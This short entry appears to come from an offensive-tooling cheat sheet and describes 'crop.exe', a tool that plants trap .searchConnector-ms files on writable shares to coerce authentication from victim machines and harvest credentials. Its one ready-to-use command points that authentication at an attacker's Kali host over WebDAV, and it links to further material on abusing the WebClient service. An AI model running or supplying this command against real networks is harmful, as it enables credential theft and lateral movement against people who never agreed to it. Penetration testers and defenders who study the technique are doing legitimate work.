farmer.exe (crop.exe)

It farms stuff, like creds! Read more here.

Set "trap" files that coerce authentication from vicim systems.

crop.exe \\writablecomputer\writableshare _index.searchConnector-ms \\DNSNAME-OF-KALI@80\test

Head to the webclientservicesscanner page to learn more about how to abuse WebClient.